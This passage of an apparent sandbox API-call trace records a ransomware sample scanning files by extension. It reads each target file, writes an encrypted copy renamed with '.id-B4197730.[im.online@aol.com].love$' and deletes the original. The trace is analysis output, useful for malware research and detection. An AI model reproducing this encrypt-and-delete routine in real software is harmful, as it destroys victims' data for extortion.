5 [0094.556] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1 [0094.556] lstrlenW (lpString=".ppt") returned 4 [0094.556] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0094.556] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0094.556] lstrlenW (lpString=".zip") returned 4 [0094.556] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0094.556] lstrlenW (lpString=".rar") returned 4 [0094.556] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0094.556] lstrlenW (lpString=".bz2") returned 4 [0094.556] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0094.556] lstrlenW (lpString=".7z") returned 3 [0094.556] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0094.556] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0094.556] lstrlenW (lpString=".dbf") returned 4 [0094.556] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0094.556] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0094.557] lstrlenW (lpString=".1cd") returned 4 [0094.557] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0094.557] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0094.557] lstrlenW (lpString=".jpg") returned 4 [0094.557] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0094.557] Sleep (dwMilliseconds=0x64) [0096.231] lstrcmpiW (lpString1=".rtf", lpString2=".love$") returned 1 [0096.231] lstrlenW (lpString="eula.rtf") returned 8 [0096.231] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0096.238] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=7567) returned 1 [0096.239] CloseHandle (hObject=0x314) returned 1 [0096.239] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 0x80 [0096.239] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0096.239] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0096.239] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.240] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.240] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0096.241] GetLastError () returned 0x0 [0096.241] ReadFile (in: hFile=0x314, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x1d8f, lpOverlapped=0x0) returned 1 [0096.247] WriteFile (in: hFile=0x318, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1d90, lpOverlapped=0x0) returned 1 [0096.249] ReadFile (in: hFile=0x314, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0096.249] WriteFile (in: hFile=0x318, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xe4, lpOverlapped=0x0) returned 1 [0096.250] SetEndOfFile (hFile=0x318) returned 1 [0096.250] CloseHandle (hObject=0x318) returned 1 [0096.255] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.255] SetEndOfFile (hFile=0x314) returned 1 [0096.256] CloseHandle (hObject=0x314) returned 1 [0096.256] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0096.257] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 1 [0096.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0096.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0096.257] lstrlenW (lpString=".doc") returned 4 [0096.257] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0096.257] lstrlenW (lpString=".docx") returned 5 [0096.257] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0096.257] lstrlenW (lpString=".pdf") returned 4 [0096.257] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0096.257] lstrlenW (lpString=".xls") returned 4 [0096.257] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0096.257] lstrlenW (lpString=".xlsx") returned 5 [0096.257] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0096.258] lstrlenW (lpString=".ppt") returned 4 [0096.258] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0096.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0096.258] lstrlenW (lpString=".zip") returned 4 [0096.258] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0096.258] lstrlenW (lpString=".rar") returned 4 [0096.258] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0096.258] lstrlenW (lpString=".bz2") returned 4 [0096.258] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0096.258] lstrlenW (lpString=".7z") returned 3 [0096.258] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0096.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0096.258] lstrlenW (lpString=".dbf") returned 4 [0096.258] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0096.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0096.258] lstrlenW (lpString=".1cd") returned 4 [0096.258] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0096.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0096.258] lstrlenW (lpString=".jpg") returned 4 [0096.258] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0096.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0096.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0096.258] lstrlenW (lpString=".doc") returned 4 [0096.258] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0096.258] lstrlenW (lpString=".docx") returned 5 [0096.258] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0096.258] lstrlenW (lpString=".pdf") returned 4 [0096.258] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0096.258] lstrlenW (lpString=".xls") returned 4 [0096.258] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0096.258] lstrlenW (lpString=".xlsx") returned 5 [0096.258] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0096.258] lstrlenW (lpString=".ppt") returned 4 [0096.258] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0096.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0096.259] lstrlenW (lpString=".zip") returned 4 [0096.259] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0096.259] lstrlenW (lpString=".rar") returned 4 [0096.259] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0096.259] lstrlenW (lpString=".bz2") returned 4 [0096.259] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0096.259] lstrlenW (lpString=".7z") returned 3 [0096.259] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0096.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0096.259] lstrlenW (lpString=".dbf") returned 4 [0096.259] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0096.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0096.259] lstrlenW (lpString=".1cd") returned 4 [0096.259] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0096.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0096.259] lstrlenW (lpString=".jpg") returned 4 [0096.259] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0096.259] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0096.259] lstrlenW (lpString="LocalizedData.xml") returned 17 [0096.259] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0096.260] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=74214) returned 1 [0096.260] CloseHandle (hObject=0x314) returned 1 [0096.260] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 0x80 [0096.260] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0096.260] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0096.261] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.261] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.261] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0096.261] GetLastError () returned 0x0 [0096.261] ReadFile (in: hFile=0x314, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x121e6, lpOverlapped=0x0) returned 1 [0096.269] WriteFile (in: hFile=0x318, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x121f0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x121f0, lpOverlapped=0x0) returned 1 [0096.365] ReadFile (in: hFile=0x314, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0096.365] WriteFile (in: hFile=0x318, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xf6, lpOverlapped=0x0) returned 1 [0096.365] SetEndOfFile (hFile=0x318) returned 1 [0096.366] CloseHandle (hObject=0x318) returned 1 [0096.368] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.368] SetEndOfFile (hFile=0x314) returned 1 [0096.369] CloseHandle (hObject=0x314) returned 1 [0096.370] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0096.370] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 1 [0096.370] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0096.370] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0096.370] lstrlenW (lpString=".doc") returned 4 [0096.370] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0096.370] lstrlenW (lpString=".docx") returned 5 [0096.370] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0096.370] lstrlenW (lpString=".pdf") returned 4 [0096.370] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0096.370] lstrlenW (lpString=".xls") returned 4 [0096.371] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0096.371] lstrlenW (lpString=".xlsx") returned 5 [0096.371] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0096.371] lstrlenW (lpString=".ppt") returned 4 [0096.371] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0096.371] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0096.371] lstrlenW (lpString=".zip") returned 4 [0096.371] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0096.371] lstrlenW (lpString=".rar") returned 4 [0096.371] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0096.371] lstrlenW (lpString=".bz2") returned 4 [0096.371] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0096.371] lstrlenW (lpString=".7z") returned 3 [0096.371] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0096.371] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0096.371] lstrlenW (lpString=".dbf") returned 4 [0096.371] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0096.371] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0096.371] lstrlenW (lpString=".1cd") returned 4 [0096.371] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0096.371] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0096.371] lstrlenW (lpString=".jpg") returned 4 [0096.371] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0096.371] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0096.371] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0096.371] lstrlenW (lpString=".doc") returned 4 [0096.371] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0096.371] lstrlenW (lpString=".docx") returned 5 [0096.371] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0096.371] lstrlenW (lpString=".pdf") returned 4 [0096.372] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0096.372] lstrlenW (lpString=".xls") returned 4 [0096.372] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0096.372] lstrlenW (lpString=".xlsx") returned 5 [0096.372] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0096.372] lstrlenW (lpString=".ppt") returned 4 [0096.372] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0096.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0096.372] lstrlenW (lpString=".zip") returned 4 [0096.372] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0096.372] lstrlenW (lpString=".rar") returned 4 [0096.372] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0096.372] lstrlenW (lpString=".bz2") returned 4 [0096.372] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0096.372] lstrlenW (lpString=".7z") returned 3 [0096.372] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0096.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0096.372] lstrlenW (lpString=".dbf") returned 4 [0096.372] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0096.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0096.372] lstrlenW (lpString=".1cd") returned 4 [0096.372] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0096.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0096.372] lstrlenW (lpString=".jpg") returned 4 [0096.372] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0096.372] lstrcmpiW (lpString1=".rtf", lpString2=".love$") returned 1 [0096.372] lstrlenW (lpString="eula.rtf") returned 8 [0096.373] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0096.373] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=6309) returned 1 [0096.373] CloseHandle (hObject=0x314) returned 1 [0096.373] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 0x80 [0096.373] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0096.373] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0096.373] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.373] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.374] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0096.374] GetLastError () returned 0x0 [0096.374] ReadFile (in: hFile=0x314, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x18a5, lpOverlapped=0x0) returned 1 [0096.706] WriteFile (in: hFile=0x318, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x18b0, lpOverlapped=0x0) returned 1 [0096.707] ReadFile (in: hFile=0x314, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0096.707] WriteFile (in: hFile=0x318, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xe4, lpOverlapped=0x0) returned 1 [0096.708] SetEndOfFile (hFile=0x318) returned 1 [0096.708] CloseHandle (hObject=0x318) returned 1 [0096.712] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.712] SetEndOfFile (hFile=0x314) returned 1 [0096.713] CloseHandle (hObject=0x314) returned 1 [0096.714] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0096.714] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 1 [0096.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0096.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0096.714] lstrlenW (lpString=".doc") returned 4 [0096.714] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0096.714] lstrlenW (lpString=".docx") returned 5 [0096.714] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0096.714] lstrlenW (lpString=".pdf") returned 4 [0096.715] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0096.715] lstrlenW (lpString=".xls") returned 4 [0096.715] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0096.715] lstrlenW (lpString=".xlsx") returned 5 [0096.715] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0096.715] lstrlenW (lpString=".ppt") returned 4 [0096.715] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0096.715] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0096.715] lstrlenW (lpString=".zip") returned 4 [0096.715] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0096.715] lstrlenW (lpString=".rar") returned 4 [0096.715] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0096.715] lstrlenW (lpString=".bz2") returned 4 [0096.715] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0096.715] lstrlenW (lpString=".7z") returned 3 [0096.715] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0096.715] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0096.715] lstrlenW (lpString=".dbf") returned 4 [0096.715] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0096.715] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0096.715] lstrlenW (lpString=".1cd") returned 4 [0096.715] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0096.715] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0096.715] lstrlenW (lpString=".jpg") returned 4 [0096.715] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0096.715] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0096.715] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0096.715] lstrlenW (lpString=".doc") returned 4 [0096.715] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0096.716] lstrlenW (lpString=".docx") returned 5 [0096.716] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0096.716] lstrlenW (lpString=".pdf") returned 4 [0096.716] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0096.716] lstrlenW (lpString=".xls") returned 4 [0096.716] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0096.716] lstrlenW (lpString=".xlsx") returned 5 [0096.716] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0096.716] lstrlenW (lpString=".ppt") returned 4 [0096.716] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0096.716] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0096.716] lstrlenW (lpString=".zip") returned 4 [0096.716] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0096.716] lstrlenW (lpString=".rar") returned 4 [0096.716] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0096.716] lstrlenW (lpString=".bz2") returned 4 [0096.716] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0096.716] lstrlenW (lpString=".7z") returned 3 [0096.716] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0096.716] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0096.716] lstrlenW (lpString=".dbf") returned 4 [0096.716] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0096.716] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0096.716] lstrlenW (lpString=".1cd") returned 4 [0096.716] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0096.716] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0096.716] lstrlenW (lpString=".jpg") returned 4 [0096.716] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0096.717] lstrcmpiW (lpString1=".rtf", lpString2=".love$") returned 1 [0096.717] lstrlenW (lpString="eula.rtf") returned 8 [0096.717] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0096.718] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=3726) returned 1 [0096.718] CloseHandle (hObject=0x314) returned 1 [0096.718] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 0x80 [0096.718] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0096.718] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0096.719] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, 